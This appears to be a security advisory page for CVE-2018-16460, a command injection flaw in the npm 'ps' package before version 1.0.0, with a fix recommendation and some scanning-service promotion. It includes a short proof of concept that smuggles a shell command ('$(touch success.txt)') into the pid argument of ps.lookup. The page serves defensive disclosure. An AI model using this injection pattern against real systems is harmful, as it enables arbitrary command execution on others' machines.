ps Enables OS Command Injection
Summary
CVE-2018-16460: ps Enables OS Command Injection. Affects ps versions < 1.0.0. Fixed in 1.0.0. How to fix ↓
Check if this vulnerability affects your application
Upload a manifest or SBOM and we'll show whether you're affected, plus every other risky package in the same scan.
No signup required · Results in about 60 seconds
Versions of ps before 1.0.0 are vulnerable to command injection.
Proof of concept:
var ps = require('ps');
ps.lookup({ pid: "$(touch success.txt)" }, function(err, proc) { // this method is vulnerable to command injection
if (err) {throw err;}
if (proc) {
console.log(proc); // Process name, something like "node" or "bash"
} else {
console.log('No such process');
}
});
// Result: The file success.txt will exist on the filesystem if the touch command was executed
Recommendation
Update to version 1.0.0 or later.
How To Fix
Latest published version: 1.0.0 as of 23 Oct 2026
npm install ps@1.0.0The newest release already contains this fix.
Tip — Not sure which version your app runs? Vulert can match this fix to it. Scan free →
